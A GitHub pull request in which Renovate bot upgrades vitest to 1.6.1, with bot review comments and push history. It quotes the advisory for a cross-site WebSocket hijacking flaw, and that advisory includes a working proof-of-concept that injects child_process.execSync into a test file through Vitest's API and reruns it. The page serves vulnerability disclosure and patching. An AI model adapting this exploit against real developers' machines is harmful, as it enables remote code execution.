Skip to content

chore(deps): update dependency vitest to v1.6.1 [security]#2

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-vitest-vulnerability
Open

chore(deps): update dependency vitest to v1.6.1 [security]#2
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-vitest-vulnerability

Conversation

@renovate
Copy link
Copy Markdown

@renovate renovate Bot commented Feb 4, 2025

This PR contains the following updates:

Package Change Age Confidence
vitest (source) 1.6.01.6.1 age confidence

Vitest allows Remote Code Execution when accessing a malicious website while Vitest API server is listening

CVE-2025-24964 / GHSA-9crc-q9x8-hgqq

More information

Details

Summary

Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.

Details

When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46

This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76

PoC
  1. Open Vitest UI.
  2. Access a malicious web site with the script below.
  3. If you have calc executable in PATH env var (you'll likely have it if you are running on Windows), that application will be executed.
// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});

// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
    console.log(e.data)
})
ws.addEventListener('open', () => {
    ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))

    const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"

    // edit file content to inject command execution
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "saveTestFile",
      a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
    }))
    // rerun the tests to run the injected command execution code
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "rerun",
      a: [testFilePath]
    }))
})
Impact

This vulnerability can result in remote code execution for users that are using Vitest serve API.

Severity

  • CVSS Score: 9.6 / 10 (Critical)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

vitest-dev/vitest (vitest)

v1.6.1

Compare Source

This release includes security patches for:

   🐞 Bug Fixes
    View changes on GitHub

Configuration

📅 Schedule: (UTC)

  • Branch creation
    • ""
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@changeset-bot
Copy link
Copy Markdown

changeset-bot Bot commented Feb 4, 2025

⚠️ No Changeset found

Latest commit: 644ef86

Merging this PR will not cause a version bump for any packages. If these changes should not result in a new version, you're good to go. If these changes should result in a version bump, you need to add a changeset.

This PR includes no changesets

When changesets are added to this PR, you'll see the packages that this PR includes changesets for and the associated semver types

Click here to learn what changesets are, and how to add one.

Click here if you're a maintainer who wants to add a changeset to this PR

@sourcery-ai
Copy link
Copy Markdown

sourcery-ai Bot commented Feb 4, 2025

Reviewer's Guide by Sourcery

This pull request updates the vitest dependency from version 1.6.0 to 1.6.1 to address a security vulnerability that could allow arbitrary remote code execution through Cross-site WebSocket hijacking attacks. The update includes changes to the WebSocket server to check the Origin header and implement an authorization mechanism.

Sequence diagram showing the security vulnerability in Vitest WebSocket API

sequenceDiagram
    participant M as Malicious Website
    participant B as Browser
    participant V as Vitest API Server
    participant F as Test Files

    Note over V: Before patch: No Origin check
    M->>B: Load malicious script
    B->>V: WebSocket connection
    V-->>B: Connection accepted (no auth)
    B->>V: saveTestFile API call
    V->>F: Write malicious code
    B->>V: rerun API call
    V->>F: Execute test file
    Note over F: Arbitrary code execution

    Note over V: After patch 1.6.1:
    Note over V: Added Origin header check
    Note over V: Added authorization
Loading

File-Level Changes

Change Details Files
Updated vitest dependency to address a security vulnerability.
  • Updated vitest from version 1.6.0 to 1.6.1 to fix a security vulnerability related to Cross-site WebSocket hijacking (CSWSH) attacks.
  • The update ensures that the WebSocket server checks the Origin header and includes an authorization mechanism to prevent arbitrary remote code execution.
pnpm-lock.yaml

Tips and commands

Interacting with Sourcery

  • Trigger a new review: Comment @sourcery-ai review on the pull request.
  • Continue discussions: Reply directly to Sourcery's review comments.
  • Generate a GitHub issue from a review comment: Ask Sourcery to create an
    issue from a review comment by replying to it. You can also reply to a
    review comment with @sourcery-ai issue to create an issue from it.
  • Generate a pull request title: Write @sourcery-ai anywhere in the pull
    request title to generate a title at any time. You can also comment
    @sourcery-ai title on the pull request to (re-)generate the title at any time.
  • Generate a pull request summary: Write @sourcery-ai summary anywhere in
    the pull request body to generate a PR summary at any time exactly where you
    want it. You can also comment @sourcery-ai summary on the pull request to
    (re-)generate the summary at any time.
  • Generate reviewer's guide: Comment @sourcery-ai guide on the pull
    request to (re-)generate the reviewer's guide at any time.
  • Resolve all Sourcery comments: Comment @sourcery-ai resolve on the
    pull request to resolve all Sourcery comments. Useful if you've already
    addressed all the comments and don't want to see them anymore.
  • Dismiss all Sourcery reviews: Comment @sourcery-ai dismiss on the pull
    request to dismiss all existing Sourcery reviews. Especially useful if you
    want to start fresh with a new review - don't forget to comment
    @sourcery-ai review to trigger a new review!
  • Generate a plan of action for an issue: Comment @sourcery-ai plan on
    an issue to generate a plan of action for it.

Customizing Your Experience

Access your dashboard to:

  • Enable or disable review features such as the Sourcery-generated pull request
    summary, the reviewer's guide, and others.
  • Change the review language.
  • Add, remove or edit custom review instructions.
  • Adjust other review settings.

Getting Help

Copy link
Copy Markdown

@sourcery-ai sourcery-ai Bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

We have skipped reviewing this pull request. It seems to have been created by a bot (hey, renovate[bot]!). We assume it knows what it's doing!

@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from c026850 to f2f69b8 Compare February 12, 2025 00:24
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from cd8ff45 to 1355aa3 Compare March 13, 2025 00:00
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from 4a1ddd6 to 1e5ce93 Compare March 19, 2025 08:15
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 1e5ce93 to 7cb32b3 Compare April 2, 2025 03:58
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 7cb32b3 to 84b453b Compare April 10, 2025 00:13
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 84b453b to 9b1eb70 Compare April 26, 2025 19:39
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 9b1eb70 to c690476 Compare May 24, 2025 11:54
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from 2d501ec to 7cc754d Compare June 6, 2025 12:21
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 7cc754d to 5ddae81 Compare June 29, 2025 15:58
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 5ddae81 to 97e4bce Compare July 6, 2025 20:01
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from feedf90 to d020703 Compare August 15, 2025 00:09
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from d020703 to cb50d10 Compare August 23, 2025 08:20
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from cb50d10 to c16b867 Compare September 1, 2025 10:42
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from c16b867 to ad45c75 Compare September 26, 2025 20:05
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from ad45c75 to 8bcdac4 Compare October 25, 2025 07:29
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from db85b1c to 1ac0d33 Compare November 19, 2025 20:14
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 1ac0d33 to 63bb69d Compare December 4, 2025 23:35
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 63bb69d to 2294b17 Compare January 1, 2026 01:11
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 2294b17 to ca89868 Compare January 9, 2026 11:06
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from 63e873e to f83e651 Compare January 24, 2026 19:42
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from f83e651 to 72e9949 Compare February 3, 2026 07:31
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from 4c73b16 to e6b382b Compare February 19, 2026 08:15
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from e6b382b to 09f657d Compare March 8, 2026 08:48
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 09f657d to c030b55 Compare April 15, 2026 12:24
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from c030b55 to 936d1bc Compare April 30, 2026 01:25
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 936d1bc to 644ef86 Compare May 13, 2026 20:02
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants